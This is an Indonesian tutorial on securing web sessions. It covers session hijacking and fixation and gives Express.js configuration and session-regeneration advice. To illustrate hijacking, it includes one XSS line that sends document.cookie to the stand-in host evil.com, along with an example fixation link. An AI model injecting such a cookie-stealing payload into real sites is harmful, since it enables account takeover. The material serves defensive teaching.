Apa itu Session?
HTTP adalah protokol stateless — setiap request independen dan tidak tahu tentang request sebelumnya. Session adalah mekanisme untuk menyimpan state pengguna di antara request, biasanya untuk menjaga status login.
Bagaimana Session Bekerja
- Server membuat session ID unik saat user login
- Session ID dikirim ke browser melalui cookie
- Browser mengirimkan session ID di setiap request berikutnya
- Server menggunakan session ID untuk mengidentifikasi pengguna
Ancaman pada Session
1. Session Hijacking
Penyerang mencuri session ID pengguna dan menggunakannya untuk mengambil alih sesi:
// Penyerang bisa mencuri session melalui:
// 1. XSS — mencuri cookie via JavaScript
document.location = "http://evil.com/steal?cookie=" + document.cookie;
// 2. Network sniffing — jika tidak pakai HTTPS
// 3. Session fixation — memaksa user menggunakan session ID tertentu
2. Session Fixation
Penyerang membuat session terlebih dahulu, lalu memaksa korban menggunakan session tersebut:
// Penyerang membuat link:
https://example.com/login?SID=abc123
// Korban login dengan session ID abc123
// Penyerang sudah tahu session ID-nya!
Best Practices Session Management
// Express.js session configuration
const session = require("express-session");
app.use(session({
secret: process.env.SESSION_SECRET, // Gunakan random string panjang
name: "sessionId", // Ganti nama default
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true, // Tidak bisa diakses JavaScript
secure: true, // Hanya dikirim via HTTPS
sameSite: "strict", // Proteksi CSRF
maxAge: 3600000 // 1 jam
}
}));
Regenerasi Session ID
// Selalu regenerate session setelah login untuk mencegah fixation
app.post("/login", (req, res) => {
// ... validasi credentials
req.session.regenerate((err) => {
req.session.userId = user.id;
res.redirect("/dashboard");
});
});
Checklist Session Security
- Gunakan session ID yang random dan panjang (minimal 128 bit)
- Set flag HttpOnly, Secure, dan SameSite pada cookie
- Regenerate session ID setelah login
- Implementasikan session timeout (idle dan absolute)
- Invalidate session saat logout
- Simpan session di server-side storage (database, Redis), bukan di cookie